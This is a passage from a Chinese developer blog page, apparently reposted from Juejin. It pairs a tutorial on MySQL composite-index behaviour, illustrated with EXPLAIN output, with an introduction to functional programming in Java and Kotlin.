| staffs |          1 | index_staffs_nameAgePos |            3 | pos         | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
4 rows in set (0.00 sec)

mysql> explain select * from staffs where name='2000';
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
| id | select_type | table  | type | possible_keys           | key                     | key_len | ref   | rows | Extra                 |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
|  1 | SIMPLE      | staffs | ref  | index_staffs_nameAgePos | index_staffs_nameAgePos | 74      | const |    1 | Using index condition |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
1 row in set (0.00 sec)

2.如果字符串忘记写 ‘’ ，那么 mysql 会为我们进行隐式的类型转换，但凡进行了类型转换，索引都会失效

1
2
3
4
5
6
7
mysql复制代码mysql> explain select * from staffs where name=2000;
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
| id | select_type | table  | type | possible_keys           | key  | key_len | ref  | rows | Extra       |
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | staffs | ALL  | index_staffs_nameAgePos | NULL | NULL    | NULL |    3 | Using where |
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

少用or，用它连接时会索引失效

  • 使用 or 连接，会导致索引失效
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql复制代码mysql> SHOW INDEX FROM staffs;
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| Table  | Non_unique | Key_name                | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment |
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| staffs |          0 | PRIMARY                 |            1 | id          | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            1 | name        | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            2 | age         | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            3 | pos         | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
4 rows in set (0.00 sec)

mysql> explain select * from staffs where name='z3' or name = 'July';
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
| id | select_type | table  | type | possible_keys           | key  | key_len | ref  | rows | Extra       |
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | staffs | ALL  | index_staffs_nameAgePos | NULL | NULL    | NULL |    3 | Using where |
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

索引失效总结

一般性建议

  • 对于单键索引，尽量选择针对当前query过滤性更好的索引
  • 在选择组合索引的时候，当前query中过滤性最好的字段在索引字段顺序中，位置越靠左越好。
  • 在选择组合索引的时候，尽量选择可以能包含当前query中的where子句中更多字段的索引
  • 尽可能通过分析统计信息和调整query的写法来达到选择合适索引的目的

索引优化的总结

  • like 后面以常量开头，比如 like ‘kk%’ 和 like ‘k%kk%’ ，可以理解为就是常量

image.png

like SQL 实测

  • = ‘kk’ ：key_len = 93 ，请记住此参数的值，后面有用
1
2
3
4
5
6
mysql复制代码----+-------------+--------+------+------------------+------------------+---------+-------------------+------+-----------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref               | rows | Extra                 |
+----+-------------+--------+------+------------------+------------------+---------+-------------------+------+-----------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 93      | const,const,const |    1 | Using index condition |
+----+-------------+--------+------+------------------+------------------+---------+-------------------+------+-----------------------+
1 row in set (0.00 sec)
  • like ‘kk%’：
+ key\_len = 93 ，和上面一样，说明 c1 c2 c3 都用到了索引
+ type = range 表明这是一个范围搜索
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2 like 'kk%' AND c3='a3';
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
| id | select_type | table  | type  | possible_keys    | key              | key_len | ref  | rows | Extra                 |
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
|  1 | SIMPLE      | test03 | range | idx_test03_c1234 | idx_test03_c1234 | 93      | NULL |    1 | Using index condition |
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
1 row in set (0.00 sec)
  • like ‘%kk’ 和 like ‘%kk%’ ：key_len = 31 ，表示只有 c1 用到了索引
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2 like '%kk' AND c3='a3';
+----+-------------+--------+------+------------------+------------------+---------+-------+------+-----------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref   | rows | Extra                 |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+-----------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 31      | const |    1 | Using index condition |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+-----------------------+
1 row in set (0.00 sec)

mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2 like '%kk%' AND c3='a3';
+----+-------------+--------+------+------------------+------------------+---------+-------+------+-----------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref   | rows | Extra                 |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+-----------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 31      | const |    1 | Using index condition |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+-----------------------+
1 row in set (0.00 sec)
  • like ‘k%kk%’ ：key_len = 93 ，表示 c1 c2 c3 都用到了索引
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2 like 'k%kk%' AND c3='a3';
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
| id | select_type | table  | type  | possible_keys    | key              | key_len | ref  | rows | Extra                 |
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
|  1 | SIMPLE      | test03 | range | idx_test03_c1234 | idx_test03_c1234 | 93      | NULL |    1 | Using index condition |
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
1 row in set (0.00 sec)

索引优化的总结

全值匹配我最爱， 最左前缀要遵守；

带头大哥不能死， 中间兄弟不能断；

索引列上少计算， 范围之后全失效；

LIKE 百分写最右， 覆盖索引不写 *；

不等空值还有 OR， 索引影响要注意；

VAR 引号不可丢， SQL 优化有诀窍。

索引优化面试题

索引优化面试题

  • 建表 SQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql复制代码create table test03(
    id int primary key not null auto_increment,
    c1 char(10),
    c2 char(10),
    c3 char(10),
    c4 char(10),
    c5 char(10)
);

insert into test03(c1,c2,c3,c4,c5) values ('a1','a2','a3','a4','a5');
insert into test03(c1,c2,c3,c4,c5) values ('b1','b2','b3','b4','b5');
insert into test03(c1,c2,c3,c4,c5) values ('c1','c2','c3','c4','c5');
insert into test03(c1,c2,c3,c4,c5) values ('d1','d2','d3','d4','d5');
insert into test03(c1,c2,c3,c4,c5) values ('e1','e2','e3','e4','e5');

create index idx_test03_c1234 on test03(c1,c2,c3,c4);
  • test03 表中的测试数据
1
2
3
4
5
6
7
8
9
10
11
mysql复制代码mysql> select * from test03;
+----+------+------+------+------+------+
| id | c1   | c2   | c3   | c4   | c5   |
+----+------+------+------+------+------+
|  1 | a1   | a2   | a3   | a4   | a5   |
|  2 | b1   | b2   | b3   | b4   | b5   |
|  3 | c1   | c2   | c3   | c4   | c5   |
|  4 | d1   | d2   | d3   | d4   | d5   |
|  5 | e1   | e2   | e3   | e4   | e5   |
+----+------+------+------+------+------+
5 rows in set (0.00 sec)
  • test03 表中的索引
1
2
3
4
5
6
7
8
9
10
11
mysql复制代码mysql> SHOW INDEX FROM test03;
+--------+------------+------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| Table  | Non_unique | Key_name         | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment |
+--------+------------+------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| test03 |          0 | PRIMARY          |            1 | id          | A         |           5 |     NULL | NULL   |      | BTREE      |         |               |
| test03 |          1 | idx_test03_c1234 |            1 | c1          | A         |           5 |     NULL | NULL   | YES  | BTREE      |         |               |
| test03 |          1 | idx_test03_c1234 |            2 | c2          | A         |           5 |     NULL | NULL   | YES  | BTREE      |         |               |
| test03 |          1 | idx_test03_c1234 |            3 | c3          | A         |           5 |     NULL | NULL   | YES  | BTREE      |         |               |
| test03 |          1 | idx_test03_c1234 |            4 | c4          | A         |           5 |     NULL | NULL   | YES  | BTREE      |         |               |
+--------+------------+------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
5 rows in set (0.00 sec)

问题：我们创建了复合索引idx_test03_c1234，根据以下SQL分析下索引使用情况？

  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c3='a3' AND c4='a4';
  • 即全值匹配
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c3='a3' AND c4='a4';
+----+-------------+--------+------+------------------+------------------+---------+-------------------------+------+-----------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref                     | rows | Extra                 |
+----+-------------+--------+------+------------------+------------------+---------+-------------------------+------+-----------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 124     | const,const,const,const |    1 | Using index condition |
+----+-------------+--------+------+------------------+------------------+---------+-------------------------+------+-----------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c4='a4' AND c3='a3' AND c2='a2' AND c1='a1';
  • mysql 优化器进行了优化，所以我们的索引都生效了
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c4='a4' AND c3='a3' AND c2='a2' AND c1='a1';
+----+-------------+--------+------+------------------+------------------+---------+-------------------------+------+-----------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref                     | rows | Extra                 |
+----+-------------+--------+------+------------------+------------------+---------+-------------------------+------+-----------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 124     | const,const,const,const |    1 | Using index condition |
+----+-------------+--------+------+------------------+------------------+---------+-------------------------+------+-----------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c3>'a3' AND c4='a4';
  • c3 列使用了索引进行排序，并没有进行查找，导致 c4 无法用索引进行查找
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c3>'a3' AND c4='a4'; 
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
| id | select_type | table  | type  | possible_keys    | key              | key_len | ref  | rows | Extra                 |
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
|  1 | SIMPLE      | test03 | range | idx_test03_c1234 | idx_test03_c1234 | 93      | NULL |    1 | Using index condition |
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c4>'a4' AND c3='a3';
  • mysql 优化器进行了优化，所以我们的索引都生效了，在 c4 时进行了范围搜索
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c4>'a4' AND c3='a3'; 
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
| id | select_type | table  | type  | possible_keys    | key              | key_len | ref  | rows | Extra                 |
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
|  1 | SIMPLE      | test03 | range | idx_test03_c1234 | idx_test03_c1234 | 124     | NULL |    1 | Using index condition |
+----+-------------+--------+-------+------------------+------------------+---------+------+------+-----------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c4='a4' ORDER BY c3;
  • c3 列将索引用于排序，而不是查找，c4 列没有用到索引
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c4='a4' ORDER BY c3; 
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref         | rows | Extra                              |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 62      | const,const |    1 | Using index condition; Using where |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' ORDER BY c3;
  • 那不就和上面一样的嘛~，c4 列都没有用到索引
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' ORDER BY c3; 
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref         | rows | Extra                              |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 62      | const,const |    1 | Using index condition; Using where |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' ORDER BY c4;
  • 妈耶，因为索引建立的顺序和使用的顺序不一致，导致 mysql 动用了文件排序
  • 看到 Using filesort 就要知道：此句 SQL 必须优化
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' ORDER BY c4; 
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+----------------------------------------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref         | rows | Extra                                              |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+----------------------------------------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 62      | const,const |    1 | Using index condition; Using where; Using filesort |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+----------------------------------------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c5='a5' ORDER BY c2, c3;
  • 只用 c1 一个字段索引，但是c2、c3用于排序，无filesort
  • 难道因为排序的时候，c2 紧跟在 c1 之后，所以就不用 filesort 吗？
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c5='a5' ORDER BY c2, c3; 
+----+-------------+--------+------+------------------+------------------+---------+-------+------+------------------------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref   | rows | Extra                              |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+------------------------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 31      | const |    1 | Using index condition; Using where |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+------------------------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c5='a5' ORDER BY c3, c2;
  • 出现了filesort，我们建的索引是1234，它没有按照顺序来，32颠倒了
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c5='a5' ORDER BY c3, c2; 
+----+-------------+--------+------+------------------+------------------+---------+-------+------+----------------------------------------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref   | rows | Extra                                              |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+----------------------------------------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 31      | const |    1 | Using index condition; Using where; Using filesort |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+----------------------------------------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' ORDER BY c2, c3;
  • 用c1、c2两个字段索引，但是c2、c3用于排序，无filesort
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' ORDER BY c2, c3; 
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref         | rows | Extra                              |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 62      | const,const |    1 | Using index condition; Using where |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c5='a5' ORDER BY c2, c3;
  • 和 c5 这个坑爹货没啥关系
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c5='a5' ORDER BY c2, c3; 
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref         | rows | Extra                              |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 62      | const,const |    1 | Using index condition; Using where |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c5='a5' ORDER BY c3, c2;
  • 注意查询条件 c2=‘a2’ ，我都把 c2 查出来了（c2 为常量），我还给它排序作甚，所以没有产生 filesort
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c2='a2' AND c5='a5' ORDER BY c3, c2; 
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref         | rows | Extra                              |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 62      | const,const |    1 | Using index condition; Using where |
+----+-------------+--------+------+------------------+------------------+---------+-------------+------+------------------------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c4='a4' GROUP BY c2, c3;
  • 顺序为 1 2 3 ，没有产生文件排序
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c4='a4' GROUP BY c2, c3; 
+----+-------------+--------+------+------------------+------------------+---------+-------+------+------------------------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref   | rows | Extra                              |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+------------------------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 31      | const |    1 | Using index condition; Using where |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+------------------------------------+
1 row in set (0.00 sec)
  • EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c4='a4' GROUP BY c3, c2;
  • group by 表面上叫分组，分组之前必排序，group by 和 order by 在索引上的问题基本是一样的
  • Using temporary; Using filesort 两个都有，我只能说是灭绝师太
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM test03 WHERE c1='a1' AND c4='a4' GROUP BY c3, c2; 
+----+-------------+--------+------+------------------+------------------+---------+-------+------+---------------------------------------------------------------------+
| id | select_type | table  | type | possible_keys    | key              | key_len | ref   | rows | Extra                                                               |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+---------------------------------------------------------------------+
|  1 | SIMPLE      | test03 | ref  | idx_test03_c1234 | idx_test03_c1234 | 31      | const |    1 | Using index condition; Using where; Using temporary; Using filesort |
+----+-------------+--------+------+------------------+------------------+---------+-------+------+---------------------------------------------------------------------+
1 row in set (0.01 sec)
  • 结论：
+ group by 基本上都需要进行排序，但凡使用不当，会有临时表产生
+ 定值为常量、范围之后失效，最终看排序的顺序

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

函数式编程是什么

函数式编程是一种编程范式，大部分人已知的编程范式有C的命令式，Java的面向对象，我们不需要从学术的角度，来严格定义函数式编程，并且函数式和面向对象也不是非此即彼的关系，强大如Scala也是混合式范式语言，我们从实用角度来介绍和解读函数式编程。

函数式编程至少应该具有以下特性：

  • 函数是一等公民
  • 支持匿名函数
  • 闭包
  • 柯里化
  • 惰性求值
  • 参数多态
  • 代数数据类型
  • 。。。

函数式编程理所当然是以函数为主要编程对象，而面向对象则以对象为主要编程对象，但是你仔细想想，面向对象如果没有方法，而只是有一堆属性的类，哪还有什么功能价值呢？所以即便是面向对象也离不开方法，当然这里的方法除了不是一等公民以外，和函数式编程差别也很大，那差别在哪里了？

纯函数

纯函数，又称为没有副作用，或者引用透明，那什么样的方法是没有副作用的呢？

  • 方法的参数值不变，则返回值就不会改变，比如random函数就不是纯函数。
  • 必须有返回值。
  • 方法不会对外界变量造成改变，即便是打印日志，控制台输出，都不可以。
  • 不能抛出异常，即便是抛出异常也不是纯函数。

纯函数有什么好处呢？

  • 独立性，因为不会依赖外部变量，只依赖输入的参数，很方便进行单元测试。
  • 确定性，相同的参数，总是返回相同的结果，不会出现诡异的bug。
  • 安全性，不用担心它抛出异常，函数调用等价于表达式。
  • 结合高阶函数，稳定的纯函数复合出来的函数依然具备以上特性。

手写纯函数

我们下面使用Java来写一个纯函数，虽然Java它并不是函数式的语言，但是并不妨碍我们展示函数式编程，有些语言对函数式编程比较友好，比如Scala，但是函数式编程并不仅仅取决于语言，而是取决于你怎么写代码。

自从Java8开始支持lambda表达式开始，Java已经有点函数式的味道了。我们先从一个接口开始，因为Java里函数不是一等公民，所以我们只能从接口定义函数。

1
2
3
java复制代码public interface Function<T, U> {
    U apply(T arg);
}

我们来做一下单元测试

1
2
3
4
5
6
7
8
9
10
java复制代码public class FunctionTest {
    private final Function<Integer, Integer> add = x -> x + 1;
    private final Function<Integer, Integer> multi = x -> x * 2;
    
    @Test
    public void testApply() {
        assertEquals(Integer.valueOf(2), add.apply(1));
        assertEquals(Integer.valueOf(4), multi.apply(2));
    }
}

add和multi就是纯函数。这个apply的定义虽然看起来很基础简单，但是就像函数式的基石一样，非常有用。

高阶函数

什么是高阶函数呢？别被高阶给吓到，其实就是可以接收函数作为参数，并且可以返回函数的函数。

1
2
3
4
5
6
7
java复制代码public interface Function<T, U> {
    U apply(T arg);

    default <V> Function<V, U> compose(Function<V, T> f) {
        return v -> apply(f.apply(v));
    }
}

来看单元测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
java复制代码public class FunctionTest {
    private final Function<Integer, Integer> add = x -> x + 1;
    private final Function<Integer, Integer> multi = x -> x * 2;

    @Test
    public void testApply() {
        assertEquals(Integer.valueOf(2), add.apply(1));
        assertEquals(Integer.valueOf(4), multi.apply(2));
    }

    @Test
    public void testCompose() {
        Function<Integer, Integer> compose = add.compose(multi);
        Integer result = compose.apply(1);
        assertEquals(Integer.valueOf(3), result);
    }
}

add组合函数multi生成了新的函数compose，调用该函数得到返回值，其实就是执行了1+1*2 = 3

对函数式编程有点感觉了吗？这才只是开胃菜，让我们继续烧脑。

柯里化

函数是可以有多个参数的，以2个参数的举例，f(x,y) = x+y*2 有时候我们并不想一次性把2个参数都确定，而只是固定一个参数，以固定的这个参数为函数，再应用另外一个参数，比如我们先固定x=1,然后再应用这个得到的函数y=2，y=3，就可以得到一个对参数加倍再固定+1的函数。

但是，我们之前定义的apply方法只有一个参数怎么办？其实把函数看成只有一个参数，引入Tuple类型，先看下Tuple的定义

1
2
3
4
5
6
7
8
9
java复制代码public class Tuple<T, U> {
    public final T _1;
    public final U _2;

    public Tuple(T t, U u) {
        this._1 = t;
        this._2 = u;
    }
}

很简单，就是参数的盒子而已，这样我们就可以使用之前定义的函数来传入2个参数了。

1
2
3
java复制代码static <A, B, C> Function<A, Function<B, C>> curry(Function<Tuple<A, B>, C> f) {
       return a -> b -> f.apply(new Tuple<>(a, b));
}

单元测试如下

1
2
3
4
5
6
java复制代码private final Function<Tuple<Integer, Integer>, Integer> addWithTuple = t -> t._1 + t._2 * 2;
@Test
public void testCurry() {
    Integer result = Function.<Integer, Integer, Integer>curry(addWithTuple).apply(1).apply(2);
    assertEquals(Integer.valueOf(5), result);
}

惰性求值

惰性求值是指只有在真正获取的时候，才去执行函数，举个栗子

1
2
3
4
5
6
7
8
9
10
11
12
java复制代码@Test
public void testLazy() {
    add(1, recursion(1));
}

private Integer recursion(Integer b) {
    return recursion(b);
}

private Integer add(int a, int b) {
    return a;
}

执行上面的代码，就会得到java.lang.StackOverflowError，我们明明不需要b的结果，但是由于Java表达式并不支持惰性，所以导致递归函数一直执行到爆栈。

我们来改造一下。

1
2
3
4
5
6
7
8
9
10
11
12
java复制代码@Test
public void testLazy() {
    add(1, () -> recursion(1));
}

private Integer recursion(Integer b) {
    return recursion(b);
}

private Integer add(int a, Supplier<Integer> b) {
    return a;
}

好吧，我承认我作弊，改变了参数类型，但是这个例子只是让你感觉一下，什么是惰性求值。

模式匹配

函数式最有用的一个功能，我觉得就是模式匹配，因为可以很好的消除if else，命令式往往充斥着if else，而这些往往是令人难以理解和产生bug的地方，因此难于维护，而函数式编程里，只有表达式没有语句，if else往往纠结在细节里，而函数式编程通过代数数据类型，以及解构对象来对表达式进行匹配，可以很优雅的解决if else的问题。下面我们来演示一下如何消除if else，这次因为Java表达能力不够简洁，我们使用kotlin来做演示

需求

  • 计算个人所得税
  • 如果一个人有房子则减免100再计税
  • 如果一个人有孩子则减免200再计税
  • 减免后大于等于1000则缴税减免后金额的3%
  • 减免后大于等于3000则缴税减免后金额的5%
  • 求应交税多少，不考虑精度丢失等情况

过程式函数实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
java复制代码
 private double tax(boolean hasHouse, boolean hasChild, double money) {
        double firstLevel = 1000;
        double firstLevelReduce = 100;
        double secondLevel = 3000;
        double secondLevelReduce = 200;
        double tax = 0;
        double after = money;
        if (hasHouse) {
            if (hasChild) {
                after = money - secondLevelReduce - firstLevelReduce;
            } else {
                after = money - firstLevelReduce;
            }
        } else {
            if (hasChild) {
                after = money - secondLevelReduce;
            }
        }
        if (after >= firstLevel) {
            tax = after * 0.03;
        }
        if (after >= secondLevel) {
            tax = after * 0.05;
        }
        return tax;
 }

过程式避免不了if else的嵌套，即便重构基于设计模式的优化，比如策略或者责任链，杀鸡用牛刀不说，扩展性好了，但是可读性差了。

看一下使用kotlin的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
kotlin复制代码
data class Person(val hasHouse: Boolean, val hasChild: Boolean, val money: Double) {
    private var actualReduce: Double = when (Pair(hasHouse, hasChild)) {
        Pair(true, true) -> HAS_HOUSE_REDUCE + HAS_CHILD_REDUCE
        Pair(true, false) -> HAS_HOUSE_REDUCE
        Pair(false, true) -> HAS_CHILD_REDUCE
        else -> 0.0
    }

    companion object {
        private const val FIRST_LEVEL = 1000.0
        private const val FIRST_LEVEL_RATE = 0.03
        private const val SECOND_LEVEL = 3000.0
        private const val SECOND_LEVEL_RATE = 0.05
        private const val HAS_HOUSE_REDUCE = 100.0
        private const val HAS_CHILD_REDUCE = 200.0
    }

    fun tax(): Double {
        return when (val after = money - actualReduce) {
            in FIRST_LEVEL..SECOND_LEVEL -> {
                after * FIRST_LEVEL_RATE
            }
            in SECOND_LEVEL..Double.MAX_VALUE -> {
                after * SECOND_LEVEL_RATE
            }
            else -> {
                0.0
            }
        }
    }

}

虽然有点不公平，因为使用了类，但是其实逻辑都差不多，关键还是使用了when模式匹配，以及after的表达式匹配

虽然你说when case不就是switch么，其实不是，因为模式匹配可以匹配类型，表达式等等，而switch只能是值（整数或字符串）。

最关键的是可读性提高了，不需要注释说明，即可知道代码所表达的逻辑，接近自然语言。

结束

当然函数式还有很多没有介绍的，比如Typeclass，函数式的集合，集合的折叠fold,map,flatMap等等，以及函数式范畴学的Monad

但是咱只是简介嘛，所以以后有机会再深入介绍吧。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

0%